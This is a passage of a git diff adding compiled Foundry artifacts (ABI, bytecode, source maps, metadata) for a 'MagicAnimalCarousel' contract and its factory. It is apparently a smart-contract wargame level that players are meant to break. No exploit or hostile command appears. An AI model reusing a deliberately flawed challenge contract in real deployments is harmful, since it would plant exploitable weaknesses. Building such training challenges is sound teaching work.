in-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/MagicAnimalCarousel.sol":"MagicAnimalCarousel"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/MagicAnimalCarousel.sol":{"keccak256":"0xa6d06a3605347ff0aa528e9a4199a69d9beb9dd040455047eccd185c27971f87","urls":["bzz-raw://9604bd65b2ebf3d09fa81a2f83740b25fdc2d142c0185026e3daafe53bb0f18d","dweb:/ipfs/Qmd6kt3opASsMgFLxm8eRR7sdKQTDuknM18CFZH6pWtwfd"],"license":"MIT"}},"version":1},"id":2}
\ No newline at end of file
diff --git a/contracts/out/MagicAnimalCarouselFactory.sol/MagicAnimalCarouselFactory.json b/contracts/out/MagicAnimalCarouselFactory.sol/MagicAnimalCarouselFactory.json
new file mode 100644
index 000000000..e3fb8c927
--- /dev/null
+++ b/contracts/out/MagicAnimalCarouselFactory.sol/MagicAnimalCarouselFactory.json
@@ -0,0 +1 @@
+{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x6080604052348015600e575f5ffd5b50601633601a565b6069565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a81806100765f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f5ffd5b8063715018a61461005c5780637726f77614610072575b5f5ffd5b348015610067575f5ffd5b5061007061010c565b005b610085610080366004610481565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f5ffd5b505f546001600160a01b0316610085565b3480156100c9575f5ffd5b506100dd6100d83660046104a3565b61014e565b6040519015158152602001610099565b3480156100f8575f5ffd5b50610070610107366004610481565b61030b565b6101146103a0565b61011d5f6103f9565b565b5f5f60405161012d90610460565b604051809103905ff080158015610146573d5f5f3e3d5ffd5b509392505050565b60408051808201825260048082527f476f617400000000000000000000000000000000000000000000000000000000602083015291517fab3b92240000000000000000000000000000000000000000000000000000000081525f928592916001600160a01b0384169163ab3b9224916101c9918591016104fc565b5f604051808303815f87803b1580156101e0575f5ffd5b505af11580156101f2573d5f5f3e3d5ffd5b505050505f826001600160a01b03166326bad99e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610233573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610257919061052e565b90505f60b0846001600160a01b03166393684bd4846040518263ffffffff1660e01b815260040161028a91815260200190565b602060405180830381865afa1580156102a5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102c9919061052e565b901c90505f60b0846040516020016102e19190610545565b6040516020818303038152906040526102f990610560565b901c9190911415979650505050505050565b6103136103a0565b6001600160a01b0381166103945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61039d816103f9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161038b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6104c58061058783390190565b6001600160a01b038116811461039d575f5ffd5b5f60208284031215610491575f5ffd5b813561049c8161046d565b9392505050565b5f5f604083850312156104b4575f5ffd5b82356104bf8161046d565b915060208301356104cf8161046d565b809150509250929050565b5f5b838110156104f45781810151838201526020016104dc565b50505f910152565b602081525f825180602084015261051a8160408501602087016104da565b601f01601f19169190910160400192915050565b5f6020828403121561053e575f5ffd5b5051919050565b5f82516105568184602087016104da565b9190910192915050565b80516020808301519190811015610580575f198160200360031b1b821691505b5091905056fe6080604052348015600e575f5ffd5b505f805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb498054600160a01b1890556104768061004f5f395ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063932289cc1161004d578063932289cc146100bd57806393684bd4146100d2578063ab3b9224146100f1575f5ffd5b806326bad99e146100735780633a5ddf301461008e57806376997b75146100aa575b5f5ffd5b61007b5f5481565b6040519081526020015b60405180910390f35b61009761ffff81565b60405161ffff9091168152602001610085565b61007b6100b836600461032f565b610104565b6100d06100cb36600461036e565b61015f565b005b61007b6100e03660046103b6565b60016020525f908152604090205481565b6100d06100ff36600461032f565b610230565b5f600c82111561012757604051630b3d107360e01b815260040160405180910390fd5b60a0838360405160200161013c9291906103cd565b604051602081830303815290604052610154906103dc565b901c90505b92915050565b5f8181526001602052604090205473ffffffffffffffffffffffffffffffffffffffff1680156101aa573373ffffffffffffffffffffffffffffffffffffffff8216146101aa575f5ffd5b5f6101b58585610104565b905080156101f5575f83815260016020526040902080543375ffff000000000000000000000000000000000000000090911660a084901b17179055610229565b5f83815260016020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555b5050505050565b5f601061023d8484610104565b5f8054815260016020526040902054911c915060a01c61ffff1669ffffffffffffffffffff82111561028257604051630b3d107360e01b815260040160405180910390fd5b3360a061ffff610293846001610402565b61029d9190610421565b5f84815260016020526040812080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff1660b09790971b969096189190921b179190911790925590555050565b5f5f83601f8401126102fa575f5ffd5b50813567ffffffffffffffff811115610311575f5ffd5b602083019150836020828501011115610328575f5ffd5b9250929050565b5f5f60208385031215610340575f5ffd5b823567ffffffffffffffff811115610356575f5ffd5b610362858286016102ea565b90969095509350505050565b5f5f5f60408486031215610380575f5ffd5b833567ffffffffffffffff811115610396575f5ffd5b6103a2868287016102ea565b909790965060209590950135949350505050565b5f602082840312156103c6575f5ffd5b5035919050565b818382375f9101908152919050565b805160208083015191908110156103fc575f198160200360031b1b821691505b50919050565b8082018082111561015957634e487b7160e01b5f52601160045260245ffd5b5f8261043b57634e487b7160e01b5f52601260045260245ffd5b50069056fea26469706673582212202b77bb2d0bcfdd47de499a5624f573379292b0c12cc5d6659d8fe015ef0e534164736f6c634300081c0033a26469706673582212209c9213db4e250df9b8410d86b1b117486dd8043d124f64c842bb211a5d567ff364736f6c634300081c0033","sourceMap":"122:886:3:-:0;;;;;;;;;;;;-1:-1:-1;936:32:0;719:10:1;936:18:0;:32::i;:::-;122:886:3;;2433:187:0;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:0;;;-1:-1:-1;;;;;;2541:17:0;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;122:886:3:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f5ffd5b8063715018a61461005c5780637726f77614610072575b5f5ffd5b348015610067575f5ffd5b5061007061010c565b005b610085610080366004610481565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f5ffd5b505f546001600160a01b0316610085565b3480156100c9575f5ffd5b506100dd6100d83660046104a3565b61014e565b6040519015158152602001610099565b3480156100f8575f5ffd5b50610070610107366004610481565b61030b565b6101146103a0565b61011d5f6103f9565b565b5f5f60405161012d90610460565b604051809103905ff080158015610146573d5f5f3e3d5ffd5b509392505050565b60408051808201825260048082527f476f617400000000000000000000000000000000000000000000000000000000602083015291517fab3b92240000000000000000000000000000000000000000000000000000000081525f928592916001600160a01b0384169163ab3b9224916101c9918591016104fc565b5f604051808303815f87803b1580156101e0575f5ffd5b505af11580156101f2573d5f5f3e3d5ffd5b505050505f826001600160a01b03166326bad99e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610233573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610257919061052e565b90505f60b0846001600160a01b03166393684bd4846040518263ffffffff1660e01b815260040161028a91815260200190565b602060405180830381865afa1580156102a5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102c9919061052e565b901c90505f60b0846040516020016102e19190610545565b6040516020818303038152906040526102f990610560565b901c9190911415979650505050505050565b6103136103a0565b6001600160a01b0381166103945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61039d816103f9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161038b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6104c58061058783390190565b6001600160a01b038116811461039d575f5ffd5b5f60208284031215610491575f5ffd5b813561049c8161046d565b9392505050565b5f5f604083850312156104b4575f5ffd5b82356104bf8161046d565b915060208301356104cf8161046d565b809150509250929050565b5f5b838110156104f45781810151838201526020016104dc565b50505f910152565b602081525f825180602084015261051a8160408501602087016104da565b601f01601f19169190910160400192915050565b5f6020828403121561053e575f5ffd5b5051919050565b5f82516105568184602087016104da565b9190910192915050565b80516020808301519190811015610580575f198160200360031b1b821691505b5091905056fe6080604052348015600e575f5ffd5b505f805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb498054600160a01b1890556104768061004f5f395ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063932289cc1161004d578063932289cc146100bd57806393684bd4146100d2578063ab3b9224146100f1575f5ffd5b806326bad99e146100735780633a5ddf301461008e57806376997b75146100aa575b5f5ffd5b61007b5f5481565b6040519081526020015b60405180910390f35b61009761ffff81565b60405161ffff9091168152602001610085565b61007b6100b836600461032f565b610104565b6100d06100cb36600461036e565b61015f565b005b61007b6100e03660046103b6565b60016020525f908152604090205481565b6100d06100ff36600461032f565b610230565b5f600c82111561012757604051630b3d107360e01b815260040160405180910390fd5b60a0838360405160200161013c9291906103cd565b604051602081830303815290604052610154906103dc565b901c90505b92915050565b5f8181526001602052604090205473ffffffffffffffffffffffffffffffffffffffff1680156101aa573373ffffffffffffffffffffffffffffffffffffffff8216146101aa575f5ffd5b5f6101b58585610104565b905080156101f5575f83815260016020526040902080543375ffff000000000000000000000000000000000000000090911660a084901b17179055610229565b5f83815260016020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555b5050505050565b5f601061023d8484610104565b5f8054815260016020526040902054911c915060a01c61ffff1669ffffffffffffffffffff82111561028257604051630b3d107360e01b815260040160405180910390fd5b3360a061ffff610293846001610402565b61029d9190610421565b5f84815260016020526040812080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff1660b09790971b969096189190921b179190911790925590555050565b5f5f83601f8401126102fa575f5ffd5b50813567ffffffffffffffff811115610311575f5ffd5b602083019150836020828501011115610328575f5ffd5b9250929050565b5f5f60208385031215610340575f5ffd5b823567ffffffffffffffff811115610356575f5ffd5b610362858286016102ea565b90969095509350505050565b5f5f5f60408486031215610380575f5ffd5b833567ffffffffffffffff811115610396575f5ffd5b6103a2868287016102ea565b909790965060209590950135949350505050565b5f602082840312156103c6575f5ffd5b5035919050565b818382375f9101908152919050565b805160208083015191908110156103fc575f198160200360031b1b821691505b50919050565b8082018082111561015957634e487b7160e01b5f52601160045260245ffd5b5f8261043b57634e487b7160e01b5f52601260045260245ffd5b50069056fea26469706673582212202b77bb2d0bcfdd47de499a5624f573379292b0c12cc5d6659d8fe015ef0e534164736f6c634300081c0033a26469706673582212209c9213db4e250df9b8410d86b1b117486dd8043d124f64c842bb211a5d567ff364736f6c634300081c0033","sourceMap":"122:886:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:0;;;;;;;;;;;;;:::i;:::-;;173:229:3;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:5;;;571:74;;559:2;544:18;173:229:3;;;;;;;;1201:85:0;;;;;;;;;;-1:-1:-1;1247:7:0;1273:6;-1:-1:-1;;;;;1273:6:0;1201:85;;408:598:3;;;;;;;;;;-1:-1:-1;408:598:3;;;;;:::i;:::-;;:::i;:::-;;;1222:14:5;;1215:22;1197:41;;1185:2;1170:18;408:598:3;1057:187:5;2081:198:0;;;;;;;;;;-1:-1:-1;2081:198:0;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;173:229:3:-;247:7;283:39;325:25;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;283:67:3;173:229;-1:-1:-1;;;173:229:3:o;408:598::-;642:27;;;;;;;;;;;;;;;;;679:31;;;;;503:4;;587:9;;642:27;-1:-1:-1;;;;;679:25:3;;;;;:31;;642:27;;679:31;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;763:22;788:8;-1:-1:-1;;;;;788:23:3;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;763:50;;823:19;882:3;845:8;-1:-1:-1;;;;;845:17:3;;863:14;845:33;;;;;;;;;;;;;2240:25:5;;2228:2;2213:18;;2094:177;845:33:3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:40;;823:62;;895:15;957:3;946:4;929:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;921:31;;;:::i;:::-;913:47;;977:22;;;;;;408:598;-1:-1:-1;;;;;;;408:598:3:o;2081:198:0:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:0;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:0;;3074:2:5;2161:73:0::1;::::0;::::1;3056:21:5::0;3113:2;3093:18;;;3086:30;3152:34;3132:18;;;3125:62;3223:8;3203:18;;;3196:36;3249:19;;2161:73:0::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:0;719:10:1;1422:23:0;1414:68;;;;-1:-1:-1;;;1414:68:0;;3481:2:5;1414:68:0;;;3463:21:5;;;3500:18;;;3493:30;3559:34;3539:18;;;3532:62;3611:18;;1414:68:0;3279:356:5;2433:187:0;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:0;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:5:-;-1:-1:-1;;;;;93:5:5;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:5:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:5;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:250::-;1334:1;1344:113;1358:6;1355:1;1352:13;1344:113;;;1434:11;;;1428:18;1415:11;;;1408:39;1380:2;1373:10;1344:113;;;-1:-1:-1;;1491:1:5;1473:16;;1466:27;1249:250::o;1504:396::-;1653:2;1642:9;1635:21;1616:4;1685:6;1679:13;1728:6;1723:2;1712:9;1708:18;1701:34;1744:79;1816:6;1811:2;1800:9;1796:18;1791:2;1783:6;1779:15;1744:79;:::i;:::-;1884:2;1863:15;-1:-1:-1;;1859:29:5;1844:45;;;;1891:2;1840:54;;1504:396;-1:-1:-1;;1504:396:5:o;1905:184::-;1975:6;2028:2;2016:9;2007:7;2003:23;1999:32;1996:52;;;2044:1;2041;2034:12;1996:52;-1:-1:-1;2067:16:5;;1905:184;-1:-1:-1;1905:184:5:o;2276:289::-;2407:3;2445:6;2439:13;2461:66;2520:6;2515:3;2508:4;2500:6;2496:17;2461:66;:::i;:::-;2543:16;;;;;2276:289;-1:-1:-1;;2276:289:5:o;2570:297::-;2688:12;;2735:4;2724:16;;;2718:23;;2688:12;2753:16;;2750:111;;;2847:1;2843:6;2833;2827:4;2823:17;2820:1;2816:25;2812:38;2805:5;2801:50;2792:59;;2750:111;;2570:297;;;:::o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.28+commit.7893614a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/MagicAnimalCarouselFactory.sol\":\"MagicAnimalCarouselFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/MagicAnimalCarousel.sol\":{\"keccak256\":\"0xa6d06a3605347ff0aa528e9a4199a69d9beb9dd040455047eccd185c27971f87\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9604bd65b2ebf3d09fa81a2f83740b25fdc2d142c0185026e3daafe53bb0f18d\",\"dweb:/ipfs/Qmd6kt3opASsMgFLxm8eRR7sdKQTDuknM18CFZH6pWtwfd\"]},\"src/levels/MagicAnimalCarouselFactory.sol\":{\"keccak256\":\"0x951da5f39f881c724baf5a566b5e5fdf930ffe453f2ca1eb32129a1a8bed1d49\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://426ef7b9c039e64aecb07899fccdcce17b14a21d368bca2c06cac61cd4948360\",\"dweb:/ipfs/QmZd9TZL7hLzv1xY2TKJqMccEM1VaY1MGq2mUq5shZFeTG\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.28+commit.7893614a"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/MagicAnimalCarouselFactory.sol":"MagicAnimalCarouselFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/MagicAnimalCarousel.sol":{"keccak256":"0xa6d06a3605347ff0aa528e9a4199a69d9beb9dd040455047eccd185c27971f87","urls":["bzz-raw://9604bd65b2ebf3d09fa81a2f83740b25fdc2d142c0185026e3daafe53bb0f18d","dweb:/ipfs/Qmd6kt3opASsMgFLxm8eRR7sdKQTDuknM18CFZH6pWtwfd"],"license":"MIT"},"src/levels/MagicAnimalCarouselFactory.sol":{"keccak256":"0x951da5f39f881c724baf5a566b5e5fdf930ffe453f2ca1eb32129a1a8bed1d49","urls":["bzz-raw://426ef7b9c039e64aecb07899fccdcce17b14a21d368bca2c06cac61cd4948360","dweb:/ipfs/QmZd9TZL7hLzv1xY2TKJqMccEM1VaY1MGq2mUq5shZFeTG"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"id":3}
\ No newline at end of file
diff --git a/contracts/out/Ownable.sol/Ownable.0.8.28.json b/contracts/out/Ownable.sol/Ownable.0.8.28.json
new file mode 100644
index 000000000..3e598e11c
--- /dev/null
+++ b/contracts/out/Ownable.sol/Ownable.0.8.28.json
@@ -0,0 +1 @@
+{"abi":[{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.28+commit.7893614a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner.\",\"kind\":\"dev\",\"methods\":{\"constructor\":{\"details\":\"Initializes the contract setting the deployer as the initial owner.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions 